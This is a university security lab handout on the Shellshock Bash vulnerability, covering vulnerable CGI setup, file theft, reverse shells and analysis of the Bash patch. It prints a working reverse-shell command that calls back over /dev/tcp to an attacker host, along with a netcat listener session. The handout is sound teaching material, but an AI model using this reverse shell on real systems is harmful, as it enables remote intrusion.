Shellshock Attack Lab

1 Overview

You may work with a partner on this lab. Partners will be assigned randomly by the TA.

On September 24, 2014, a severe vulnerability in Bash was identified. Nicknamed Shellshock, this vulnerability can exploit many systems and be launched either remotely or from a local machine. In this lab, students need to work on this attack, so they can understand the Shellshock vulnerability. The learning objective of this lab is for students to get a first-hand experience on this interesting attack, understand how it works, and think about the lessons that we can get out of this attack. This lab covers the following topics:

- Shellshock
- Environment variables
- Function definition in Bash
- Apache and CGI programs

Readings. Detailed coverage of the Shellshock attack can be found in Chapter 3 of the SEED book, *Computer Security: A Hands-on Approach*, by Wenliang Du.

Lab environment. This lab has been tested on our pre-built Ubuntu 16.04 VM, which can be downloaded from Blackboard.

2 Lab Tasks

2.1 Task 1: Experimenting with Bash Function

The Bash program in Ubuntu 16.04 has already been patched, so it is no longer vulnerable to the Shellshock attack. For the purpose of this lab, we have installed a vulnerable version of Bash inside the `/bin` folder; its name is `bash_shellshock`. We need to use this Bash in our task. Please run this vulnerable version of Bash like the following and then design an experiment to verify whether this Bash is vulnerable to the Shellshock attack or not.

```
$ /bin/bash_shellshock
```

Try the same experiment on the patched version of bash (`/bin/bash`) and report your observations.

2.2 Task 2: Setting up CGI programs

In this lab, we will launch a Shellshock attack on a remote web server. Many web servers enable CGI, which is a standard method used to generate dynamic content on Web pages and Web applications. Many CGI programs are written using shell scripts. Therefore, before a CGI program is executed, a shell program will be invoked first, and such an invocation is triggered by a user from a remote computer. If the shell program is a vulnerable Bash program, we can exploit the Shellshock vulnerable to gain privileges on the server.

In this task, we will set up a very simple CGI program (called `myprog.cgi`) like the following. It simply prints out `"Hello World"` using a shell script.

```
#!/bin/bash_shellshock            ①

echo "Content-type: text/plain"
echo
echo
echo "Hello World"
```

Please make sure you use `/bin/bash_shellshock` in Line ①, instead of using `/bin/bash`. The line specifies what shell program should be invoked to run the script. We do need to use the vulnerable Bash in this lab. Please place the above CGI program in the `/usr/lib/cgi-bin` directory and set its permission to 755 (so it is executable). You need to use the root privilege to do these, as the folder is only writable by the root. This folder is the default CGI directory for the Apache web server.

To access this CGI program from the Web, you can either use a browser by typing the following URL: `http://localhost/cgi-bin/myprog.cgi`, or use the following command line program `curl` to do the same thing:

```
$ curl http://localhost/cgi-bin/myprog.cgi
```

In our setup, we run the Web server and the attack from the same computer, and that is why we use `localhost`. In real attacks, the server is running on a remote machine, and instead of using `localhost`, we use the hostname or the IP address of the server.

2.3 Task 3: Passing Data to Bash via Environment Variable

To exploit a Shellshock vulnerability in a Bash-based CGI program, attackers need to pass their data to the vulnerable Bash program, and the data need to be passed via an environment variable. In this task, we need to see how we can achieve this goal. You can use the following CGI program to demonstrate that you can send out an arbitrary string to the CGI program, and the string will show up in the content of one of the environment variables.

```
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ            ①
```

In the code above, Line ① prints out the contents of all the environment variables in the current process. If your experiment is successful, you should be able to see your data string in the page that you get back from the server. In your report, please explain how the data from a remote user can get into those environment variables.

2.4 Task 4: Launching the Shellshock Attack

After the above CGI program is set up, we can now launch the Shellshock attack. The attack does not depend on what is in the CGI program, as it targets the Bash program, which is invoked first, before the CGI script is executed. Your goal is to launch the attack through the URL `http://localhost/cgi-bin/myprog.cgi`, such that you can achieve something that you cannot do as a remote user. In this task, you should demonstrate the following:

- Using the Shellshock attack to steal the content of a secret file from the server.
- Answer the following question: will you be able to steal the content of the shadow file `/etc/shadow`? Why or why not?

2.5 Task 5: Getting a Reverse Shell via Shellshock Attack

The Shellshock vulnerability allows attacks to run arbitrary commands on the target machine. In real attacks, instead of hard-coding the command in their attack, attackers often choose to run a shell command, so they can use this shell to run other commands, for as long as the shell program is alive. To achieve this goal, attackers need to run a reverse shell.

Reverse shell is a shell process started on a machine, with its input and output being controlled by somebody from a remote computer. Basically, the shell runs on the victim's machine, but it takes input from the attacker machine and also prints its output on the attacker's machine. Reverse shell gives attackers a convenient way to run commands on a compromised machine. Detailed explanation of how to create reverse shell can be found in Chapter 3 (§3.4.5) in the SEED book. We also summarize the explanation in the guideline section later.

In this task, you need to demonstrate how to launch a reverse shell via the Shellshock vulnerability in a CGI program. Please show how you do it. In your report, please also explain how you set up the reverse shell, and why it works. Basically, you need to use your own words to explain how reverse shell works in your Shellshock attack.

2.6 Task 6: Using the Patched Bash

The `diff` file of the Shellshock fix is below, as provided by Chet Ramey, Bash's maintainer. In your lab report, please discuss what the patch does to modify Bash's operation, with specific discussion of the countermeasures the patch puts into place to mitigate the Shellshock attack. If you need context for the patches, the source tarball of Bash 4.2, the vulnerable version, is available on Blackboard.

```
Description: fix incorrect function parsing
Author: Chet Ramey <chet.ramey@case.edu>

Index: bash-4.2/builtins/common.h
===================================================================
--- bash-4.2.orig/builtins/common.h 2010-05-30 18:31:51.000000000 -0400
+++ bash-4.2/builtins/common.h   2014-09-22 15:30:40.372413446 -0400
@@ -35,6 +35,8 @@
 #define SEVAL_NOLONGJMP 0x040

 /* Flags for describe_command, shared between type.def and command.def */
+#define SEVAL_FUNCDEF  0x080    /* only allow function definitions */
+#define SEVAL_ONECMD   0x100    /* only allow a single command */
 #define CDESC_ALL      0x001 /* type -a */
 #define CDESC_SHORTDESC      0x002 /* command -V */
 #define CDESC_REUSABLE    0x004 /* command -v */
Index: bash-4.2/builtins/evalstring.c
===================================================================
--- bash-4.2.orig/builtins/evalstring.c   2010-11-23 08:22:15.000000000 -0500
+++ bash-4.2/builtins/evalstring.c  2014-09-22 15:30:40.372413446 -0400
@@ -261,6 +261,14 @@
       {
         struct fd_bitmap *bitmap;

+        if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
+     {
+       internal_warning ("%s: ignoring function definition attempt",
   from_file);
+       should_jump_to_top_level = 0;
+       last_result = last_command_exit_value = EX_BADUSAGE;
+       break;
+     }
+
         bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
         begin_unwind_frame ("pe_dispose");
         add_unwind_protect (dispose_fd_bitmap, bitmap);
@@ -321,6 +329,9 @@
         dispose_command (command);
         dispose_fd_bitmap (bitmap);
         discard_unwind_frame ("pe_dispose");
+
+        if (flags & SEVAL_ONECMD)
+     break;
       }
   }
       else
Index: bash-4.2/variables.c
===================================================================
--- bash-4.2.orig/variables.c 2014-09-22 15:29:30.188411567 -0400
+++ bash-4.2/variables.c   2014-09-22 15:30:40.372413446 -0400
@@ -347,12 +347,10 @@
     temp_string[char_index] = ' ';
     strcpy (temp_string + char_index + 1, string);

-    parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
-
-    /* Ancient backwards compatibility.  Old versions of bash exported
-       functions like name()=() {...} */
-    if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
-      name[char_index - 2] = '\0';
+    /* Don't import function names that are invalid identifiers from the
+       environment. */
+    if (legal_identifier (name))
+      parse_and_execute (temp_string, name,
   SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);

     if (temp_var = find_function (name))
```

```
       {
@@ -361,10 +359,6 @@
       }
     else
       report_error (_("error importing function definition for `%s'"), name);
-
-    /* ( */
-    if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
-      name[char_index - 2] = '(';     /* ) */
   }
 #if defined (ARRAY_VARS)
 #  if 0
```

Next, download the `bash-4.2` tarball and patch available on Blackboard. Note the directory you downloaded it, which we will assume to be `/home/seed/bash-4.2`. Then, apply the patch to the downloaded version of Bash using the `patch` command. Use the instructions in the `INSTALL` document inside the tarball to compile the program. Make sure you do *not* run `make install`, as this will overwrite the correct version of Bash found in your VM. Make sure you note any issues that arise with compiling in your lab report, and include screenshots of your compilation and patching process.

If you applied the patch properly, the program `/home/seed/bash-4.2/bash` is a patched version of Bash. Please replace the first line of your CGI programs with this program. Redo Tasks 3 and 5 and describe your observations.

3 Guidelines: Creating Reverse Shell

The key idea of reverse shell is to redirect its standard input, output, and error devices to a network connection, so the shell gets its input from the connection, and prints out its output also to the connection. At the other end of the connection is a program run by the attacker; the program simply displays whatever comes from the shell at the other end, and sends whatever is typed by the attacker to the shell, over the network connection.

A commonly used program by attackers is `netcat`, which, if running with the `"-l"` option, becomes a TCP server that listens for a connection on the specified port. This server program basically prints out whatever is sent by the client, and sends to the client whatever is typed by the user running the server. In the following experiment, `netcat` (`nc` for short) is used to listen for a connection on port `9090` (let us focus only on the first line).

```
Attacker(10.0.2.6):$ nc -l 9090 -v  ← Waiting for reverse shell
Connection from 10.0.2.5 port 9090 [tcp/*] accepted
Server(10.0.2.5):$     ← Reverse shell from 10.0.2.5.
Server(10.0.2.5):$ ifconfig
ifconfig
eth23  Link encap:Ethernet  HWaddr 08:00:27:fd:25:0f
       inet addr:10.0.2.5  Bcast:10.0.2.255  Mask:255.255.255.0
       inet6 addr: fe80::a00:27ff:fefd:250f/64 Scope:Link
       ...
```

The above `nc` command will block, waiting for a connection. We now directly run the following `bash` program on the Server machine (`10.0.2.5`) to emulate what attackers would run after compromising the server via the Shellshock attack. This `bash` command will trigger a TCP connection to the attacker machine's port 9090, and a reverse shell will be created. We can see the shell prompt from the above result, indicating that the shell is running on the Server machine; we can type the `ifconfig` command to verify that the IP address is indeed `10.0.2.5`, the one belonging to the Server machine. Here is the `bash` command:

```
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
```

The above command represents the one that would normally be executed on a compromised server. It is quite complicated, and we give a detailed explanation in the following:

- `"/bin/bash -i"`: The option `i` stands for interactive, meaning that the shell must be interactive (must provide a shell prompt).
- `"> /dev/tcp/10.0.2.6/9090"`: This causes the output device (`stdout`) of the shell to be redirected to the TCP connection to `10.0.2.6`'s port `9090`. In `Unix` systems, `stdout`'s file descriptor is `1`.
- `"0<&1"`: File descriptor `0` represents the standard input device (`stdin`). This option tells the system to use the standard output device as the stardard input device. Since `stdout` is already redirected to the TCP connection, this option basically indicates that the shell program will get its input from the same TCP connection.
- `"2>&1"`: File descriptor `2` represents the standard error `stderr`. This causes the error output to be redirected to `stdout`, which is the TCP connection.

In summary, the command `"/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1"` starts a `bash` shell on the server machine, with its input coming from a TCP connection, and output going to the same TCP connection. In our experiment, when the `bash` shell command is executed on `10.0.2.5`, it connects back to the `netcat` process started on `10.0.2.6`. This is confirmed via the `"Connection from 10.0.2.5 port 9090 [tcp/*] accepted"` message displayed by `netcat`.

4 Submission

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credit.

Writing in clear, concise English is a part of the exercise (and the grade). Make sure you describe, step-by-step, your process. We want to be able to recreate your results by following your steps exactly. Logical leaps between steps will result in point deductions. Do not be afraid to include issues you faced, and how you solved them. Note that you must answer all questions in paragraph form for full credit. Look at the example report on Blackboard for an idea of what we are expecting.

When you are ready to submit your lab report, upload it to Gradescope as a single PDF including all parts. DOCX and other formats will not be accepted. Make sure you select your partner on Gradescope if applicable: only one submission between the two of you is necessary.